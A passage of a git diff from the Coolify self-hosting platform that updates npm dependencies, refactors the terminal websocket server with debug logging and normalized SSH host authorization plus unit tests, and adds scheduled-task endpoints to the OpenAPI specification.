"node": ">=12" @@ -161,9 +165,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", @@ -181,9 +185,9 @@ } }, "node_modules/form-data": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", - "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", @@ -323,20 +327,20 @@ "node": ">= 0.6" } }, - "node_modules/nan": { - "version": "2.23.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", - "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "license": "MIT" }, "node_modules/node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz", + "integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==", "hasInstallScript": true, "license": "MIT", "dependencies": { - "nan": "^2.17.0" + "node-addon-api": "^7.1.0" } }, "node_modules/proxy-from-env": { @@ -346,9 +350,9 @@ "license": "MIT" }, "node_modules/ws": { - "version": "8.18.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.1.tgz", - "integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==", + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", "license": "MIT", "engines": { "node": ">=10.0.0" diff --git a/docker/coolify-realtime/package.json b/docker/coolify-realtime/package.json index aec3dbe3d..ebb7122c8 100644 --- a/docker/coolify-realtime/package.json +++ b/docker/coolify-realtime/package.json @@ -2,12 +2,12 @@ "private": true, "type": "module", "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "cookie": "1.0.2", - "axios": "1.12.0", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "cookie": "1.1.1", + "axios": "1.13.6", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } } \ No newline at end of file diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 2607d2aec..3ae77857f 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -4,8 +4,33 @@ import pty from 'node-pty'; import axios from 'axios'; import cookie from 'cookie'; import 'dotenv/config'; +import { + extractHereDocContent, + extractSshArgs, + extractTargetHost, + extractTimeout, + isAuthorizedTargetHost, +} from './terminal-utils.js'; const userSessions = new Map(); +const terminalDebugEnabled = ['local', 'development'].includes( + String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase() +); + +function logTerminal(level, message, context = {}) { + if (!terminalDebugEnabled) { + return; + } + + const formattedMessage = `[TerminalServer] ${message}`; + + if (Object.keys(context).length > 0) { + console[level](formattedMessage, context); + return; + } + + console[level](formattedMessage); +} const server = http.createServer((req, res) => { if (req.url === '/ready') { @@ -31,9 +56,19 @@ const getSessionCookie = (req) => { const verifyClient = async (info, callback) => { const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(info.req); + const requestContext = { + remoteAddress: info.req.socket?.remoteAddress, + origin: info.origin, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; + + logTerminal('log', 'Verifying websocket client.', requestContext); // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Rejecting websocket client because required auth tokens are missing.', requestContext); return callback(false, 401, 'Unauthorized: Missing required tokens'); } @@ -47,13 +82,22 @@ const verifyClient = async (info, callback) => { }); if (response.status === 200) { - // Authentication successful + logTerminal('log', 'Websocket client authentication succeeded.', requestContext); callback(true); } else { + logTerminal('warn', 'Websocket client authentication returned a non-success status.', { + ...requestContext, + status: response.status, + }); callback(false, 401, 'Unauthorized: Invalid credentials'); } } catch (error) { - console.error('Authentication error:', error.message); + logTerminal('error', 'Websocket client authentication failed.', { + ...requestContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); callback(false, 500, 'Internal Server Error'); } }; @@ -65,28 +109,62 @@ wss.on('connection', async (ws, req) => { const userId = generateUserId(); const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); + const connectionContext = { + userId, + remoteAddress: req.socket?.remoteAddress, + sessionCookieName, + hasXsrfToken: Boolean(xsrfToken), + hasLaravelSession: Boolean(laravelSession), + }; // Verify presence of required tokens if (!laravelSession || !xsrfToken) { + logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); ws.close(401, 'Unauthorized: Missing required tokens'); return; } - const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { - headers: { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken - }, - }); - userSession.authorizedIPs = response.data.ipAddresses || []; + + try { + const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, { + headers: { + 'Cookie': `${sessionCookieName}=${laravelSession}`, + 'X-XSRF-TOKEN': xsrfToken + }, + }); + userSession.authorizedIPs = response.data.ipAddresses || []; + logTerminal('log', 'Fetched authorized terminal hosts for websocket session.', { + ...connectionContext, + authorizedIPs: userSession.authorizedIPs, + }); + } catch (error) { + logTerminal('error', 'Failed to fetch authorized terminal hosts.', { + ...connectionContext, + error: error.message, + responseStatus: error.response?.status, + responseData: error.response?.data, + }); + ws.close(1011, 'Failed to fetch terminal authorization data'); + return; + } + userSessions.set(userId, userSession); + logTerminal('log', 'Terminal websocket connection established.', { + ...connectionContext, + authorizedHostCount: userSession.authorizedIPs.length, + }); ws.on('message', (message) => { handleMessage(userSession, message); - }); ws.on('error', (err) => handleError(err, userId)); - ws.on('close', () => handleClose(userId)); - + ws.on('close', (code, reason) => { + logTerminal('log', 'Terminal websocket connection closed.', { + userId, + code, + reason: reason?.toString(), + }); + handleClose(userId); + }); }); const messageHandlers = { @@ -98,6 +176,7 @@ const messageHandlers = { }, pause: (session) => session.ptyProcess.pause(), resume: (session) => session.ptyProcess.resume(), + ping: (session) => session.ws.send('pong'), checkActive: (session, data) => { if (data === 'force' && session.isActive) { killPtyProcess(session.userId); @@ -110,12 +189,34 @@ const messageHandlers = { function handleMessage(userSession, message) { const parsed = parseMessage(message); - if (!parsed) return; + if (!parsed) { + logTerminal('warn', 'Ignoring websocket message because JSON parsing failed.', { + userId: userSession.userId, + rawMessage: String(message).slice(0, 500), + }); + return; + } + + logTerminal('log', 'Received websocket message.', { + userId: userSession.userId, + keys: Object.keys(parsed), + isActive: userSession.isActive, + }); Object.entries(parsed).forEach(([key, value]) => { const handler = messageHandlers[key]; - if (handler && (userSession.isActive || key === 'checkActive' || key === 'command')) { + if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) { handler(userSession, value); + } else if (!handler) { + logTerminal('warn', 'Ignoring websocket message with unknown handler key.', { + userId: userSession.userId, + key, + }); + } else { + logTerminal('warn', 'Ignoring websocket message because no PTY session is active yet.', { + userId: userSession.userId, + key, + }); } }); } @@ -124,7 +225,9 @@ function parseMessage(message) { try { return JSON.parse(message); } catch (e) { - console.error('Failed to parse message:', e); + logTerminal('error', 'Failed to parse websocket message.', { + error: e?.message ?? e, + }); return null; } } @@ -134,6 +237,9 @@ async function handleCommand(ws, command, userId) { if (userSession && userSession.isActive) { const result = await killPtyProcess(userId); if (!result) { + logTerminal('warn', 'Rejecting new terminal command because the previous PTY could not be terminated.', { + userId, + }); // if terminal is still active, even after we tried to kill it, dont continue and show error ws.send('unprocessable'); return; @@ -147,13 +253,30 @@ async function handleCommand(ws, command, userId) { // Extract target host from SSH command const targetHost = extractTargetHost(sshArgs); + logTerminal('log', 'Parsed terminal command metadata.', { + userId, + targetHost, + timeout, + sshArgs, + authorizedIPs: userSession?.authorizedIPs ?? [], + }); + if (!targetHost) { + logTerminal('warn', 'Rejecting terminal command because no target host could be extracted.', { + userId, + sshArgs, + }); ws.send('Invalid SSH command: No target host found'); return; } // Validate target host against authorized IPs - if (!userSession.authorizedIPs.includes(targetHost)) { + if (!isAuthorizedTargetHost(targetHost, userSession.authorizedIPs)) { + logTerminal('warn', 'Rejecting terminal command because target host is not authorized.', { + userId, + targetHost, + authorizedIPs: userSession.authorizedIPs, + }); ws.send(`Unauthorized: Target host ${targetHost} not in authorized list`); return; } @@ -169,6 +292,11 @@ async function handleCommand(ws, command, userId) { // NOTE: - Initiates a process within the Terminal container // Establishes an SSH connection to root@coolify with RequestTTY enabled // Executes the 'docker exec' command to connect to a specific container + logTerminal('log', 'Spawning PTY process for terminal session.', { + userId, + targetHost, + timeout, + }); const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options); userSession.ptyProcess = ptyProcess; @@ -182,7 +310,11 @@ async function handleCommand(ws, command, userId) { // when parent closes ptyProcess.onExit(({ exitCode, signal }) => { - console.error(`Process exited with code ${exitCode} and signal ${signal}`); + logTerminal(exitCode === 0 ? 'log' : 'error', 'PTY process exited.', { + userId, + exitCode, + signal, + }); ws.send('pty-exited'); userSession.isActive = false; }); @@ -194,28 +326,18 @@ async function handleCommand(ws, command, userId) { } } -function extractTargetHost(sshArgs) { - // Find the argument that matches the pattern user@host - const userAtHost = sshArgs.find(arg => { - // Skip paths that contain 'storage/app/ssh/keys/' - if (arg.includes('storage/app/ssh/keys/')) { - return false; - } - return /^[^@]+@[^@]+$/.test(arg); - }); - if (!userAtHost) return null; - - // Extract host from user@host - const host = userAtHost.split('@')[1]; - return host; -} - async function handleError(err, userId) { - console.error('WebSocket error:', err); + logTerminal('error', 'WebSocket error.', { + userId, + error: err?.message ?? err, + }); await killPtyProcess(userId); } async function handleClose(userId) { + logTerminal('log', 'Cleaning up terminal websocket session.', { + userId, + }); await killPtyProcess(userId); userSessions.delete(userId); } @@ -231,6 +353,11 @@ async function killPtyProcess(userId) { const attemptKill = () => { killAttempts++; + logTerminal('log', 'Attempting to terminate PTY process.', { + userId, + killAttempts, + maxAttempts, + }); // session.ptyProcess.kill() wont work here because of https://github.com/moby/moby/issues/9098 // patch with https://github.com/moby/moby/issues/9098#issuecomment-189743947 @@ -238,6 +365,10 @@ async function killPtyProcess(userId) { setTimeout(() => { if (!session.isActive || !session.ptyProcess) { + logTerminal('log', 'PTY process terminated successfully.', { + userId, + killAttempts, + }); resolve(true); return; } @@ -245,6 +376,10 @@ async function killPtyProcess(userId) { if (killAttempts < maxAttempts) { attemptKill(); } else { + logTerminal('warn', 'PTY process still active after maximum termination attempts.', { + userId, + killAttempts, + }); resolve(false); } }, 500); @@ -258,76 +393,8 @@ function generateUserId() { return Math.random().toString(36).substring(2, 11); } -function extractTimeout(commandString) { - const timeoutMatch = commandString.match(/timeout (\d+)/); - return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; -} - -function extractSshArgs(commandString) { - const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); - if (!sshCommandMatch) return []; - - const argsString = sshCommandMatch[1]; - let sshArgs = []; - - // Parse shell arguments respecting quotes - let current = ''; - let inQuotes = false; - let quoteChar = ''; - let i = 0; - - while (i < argsString.length) { - const char = argsString[i]; - const nextChar = argsString[i + 1]; - - if (!inQuotes && (char === '"' || char === "'")) { - // Starting a quoted section - inQuotes = true; - quoteChar = char; - current += char; - } else if (inQuotes && char === quoteChar) { - // Ending a quoted section - inQuotes = false; - current += char; - quoteChar = ''; - } else if (!inQuotes && char === ' ') { - // Space outside quotes - end of argument - if (current.trim()) { - sshArgs.push(current.trim()); - current = ''; - } - } else { - // Regular character - current += char; - } - i++; - } - - // Add final argument if exists - if (current.trim()) { - sshArgs.push(current.trim()); - } - - // Replace RequestTTY=no with RequestTTY=yes - sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); - - // Add RequestTTY=yes if not present - if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { - sshArgs.push('-o', 'RequestTTY=yes'); - } - - return sshArgs; -} - -function extractHereDocContent(commandString) { - const delimiterMatch = commandString.match(/<< (\S+)/); - const delimiter = delimiterMatch ? delimiterMatch[1] : null; - const escapedDelimiter = delimiter.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); - const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); - const hereDocMatch = commandString.match(hereDocRegex); - return hereDocMatch ? hereDocMatch[1] : ''; -} - server.listen(6002, () => { - console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!'); + logTerminal('log', 'Terminal debug logging is enabled.', { + terminalDebugEnabled, + }); }); diff --git a/docker/coolify-realtime/terminal-utils.js b/docker/coolify-realtime/terminal-utils.js new file mode 100644 index 000000000..7456b282c --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.js @@ -0,0 +1,127 @@ +export function extractTimeout(commandString) { + const timeoutMatch = commandString.match(/timeout (\d+)/); + return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; +} + +function normalizeShellArgument(argument) { + if (!argument) { + return argument; + } + + return argument + .replace(/'([^']*)'/g, '$1') + .replace(/"([^"]*)"/g, '$1'); +} + +export function extractSshArgs(commandString) { + const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/); + if (!sshCommandMatch) return []; + + const argsString = sshCommandMatch[1]; + let sshArgs = []; + + let current = ''; + let inQuotes = false; + let quoteChar = ''; + let i = 0; + + while (i < argsString.length) { + const char = argsString[i]; + + if (!inQuotes && (char === '"' || char === "'")) { + inQuotes = true; + quoteChar = char; + current += char; + } else if (inQuotes && char === quoteChar) { + inQuotes = false; + current += char; + quoteChar = ''; + } else if (!inQuotes && char === ' ') { + if (current.trim()) { + sshArgs.push(current.trim()); + current = ''; + } + } else { + current += char; + } + i++; + } + + if (current.trim()) { + sshArgs.push(current.trim()); + } + + sshArgs = sshArgs.map((arg) => normalizeShellArgument(arg)); + sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg); + + if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) { + sshArgs.push('-o', 'RequestTTY=yes'); + } + + return sshArgs; +} + +export function extractHereDocContent(commandString) { + const delimiterMatch = commandString.match(/<< (\S+)/); + const delimiter = delimiterMatch ? delimiterMatch[1] : null; + const escapedDelimiter = delimiter?.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&'); + + if (!escapedDelimiter) { + return ''; + } + + const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`); + const hereDocMatch = commandString.match(hereDocRegex); + return hereDocMatch ? hereDocMatch[1] : ''; +} + +export function normalizeHostForAuthorization(host) { + if (!host) { + return null; + } + + let normalizedHost = host.trim(); + + while ( + normalizedHost.length >= 2 && + ((normalizedHost.startsWith("'") && normalizedHost.endsWith("'")) || + (normalizedHost.startsWith('"') && normalizedHost.endsWith('"'))) + ) { + normalizedHost = normalizedHost.slice(1, -1).trim(); + } + + if (normalizedHost.startsWith('[') && normalizedHost.endsWith(']')) { + normalizedHost = normalizedHost.slice(1, -1); + } + + return normalizedHost.toLowerCase(); +} + +export function extractTargetHost(sshArgs) { + const userAtHost = sshArgs.find(arg => { + if (arg.includes('storage/app/ssh/keys/')) { + return false; + } + + return /^[^@]+@[^@]+$/.test(arg); + }); + + if (!userAtHost) { + return null; + } + + const atIndex = userAtHost.indexOf('@'); + return normalizeHostForAuthorization(userAtHost.slice(atIndex + 1)); +} + +export function isAuthorizedTargetHost(targetHost, authorizedHosts = []) { + const normalizedTargetHost = normalizeHostForAuthorization(targetHost); + + if (!normalizedTargetHost) { + return false; + } + + return authorizedHosts + .map(host => normalizeHostForAuthorization(host)) + .includes(normalizedTargetHost); +} diff --git a/docker/coolify-realtime/terminal-utils.test.js b/docker/coolify-realtime/terminal-utils.test.js new file mode 100644 index 000000000..3da444155 --- /dev/null +++ b/docker/coolify-realtime/terminal-utils.test.js @@ -0,0 +1,47 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { + extractSshArgs, + extractTargetHost, + isAuthorizedTargetHost, + normalizeHostForAuthorization, +} from './terminal-utils.js'; + +test('extractTargetHost normalizes quoted IPv4 hosts from generated ssh commands', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o ServerAliveInterval=20 -o ConnectTimeout=10 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(extractTargetHost(sshArgs), '10.0.0.5'); +}); + +test('extractSshArgs strips shell quotes from port and user host arguments before spawning ssh', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -p '22' -o StrictHostKeyChecking=no 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.deepEqual(sshArgs.slice(0, 5), ['-p', '22', '-o', 'StrictHostKeyChecking=no', 'root@10.0.0.5']); +}); + +test('extractSshArgs preserves proxy command as a single normalized ssh option value', () => { + const sshArgs = extractSshArgs( + "timeout 3600 ssh -o ProxyCommand='cloudflared access ssh --hostname %h' -o StrictHostKeyChecking=no 'root'@'example.com' 'bash -se' << \\\\$abc\necho hi\nabc" + ); + + assert.equal(sshArgs[1], 'ProxyCommand=cloudflared access ssh --hostname %h'); + assert.equal(sshArgs[4], 'root@example.com'); +}); + +test('isAuthorizedTargetHost matches normalized hosts against plain allowlist values', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.5'", ['10.0.0.5']), true); + assert.equal(isAuthorizedTargetHost('"host.docker.internal"', ['host.docker.internal']), true); +}); + +test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => { + assert.equal(normalizeHostForAuthorization("'[2001:db8::10]'"), '2001:db8::10'); + assert.equal(isAuthorizedTargetHost("'[2001:db8::10]'", ['2001:db8::10']), true); +}); + +test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => { + assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false); +}); diff --git a/docker/development/Dockerfile b/docker/development/Dockerfile index ab9cb2fca..98b4d2006 100644 --- a/docker/development/Dockerfile +++ b/docker/development/Dockerfile @@ -47,6 +47,9 @@ RUN apk add --no-cache \ lsof \ vim +# Install PHP extensions +RUN install-php-extensions sockets + # Configure shell aliases RUN echo "alias ll='ls -al'" >> /etc/profile && \ echo "alias a='php artisan'" >> /etc/profile && \ diff --git a/openapi.json b/openapi.json index f5da0883f..f5d9813b3 100644 --- a/openapi.json +++ b/openapi.json @@ -3339,6 +3339,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -5864,6 +5873,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -8049,6 +8067,698 @@ ] } }, + "\/applications\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for an application.", + "operationId": "list-scheduled-tasks-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for an application.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for an application.", + "operationId": "create-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for an application.", + "operationId": "delete-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for an application.", + "operationId": "update-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on an application.", + "operationId": "list-scheduled-task-executions-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for a service.", + "operationId": "list-scheduled-tasks-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for a service.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for a service.", + "operationId": "create-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for a service.", + "operationId": "delete-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for a service.", + "operationId": "update-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + 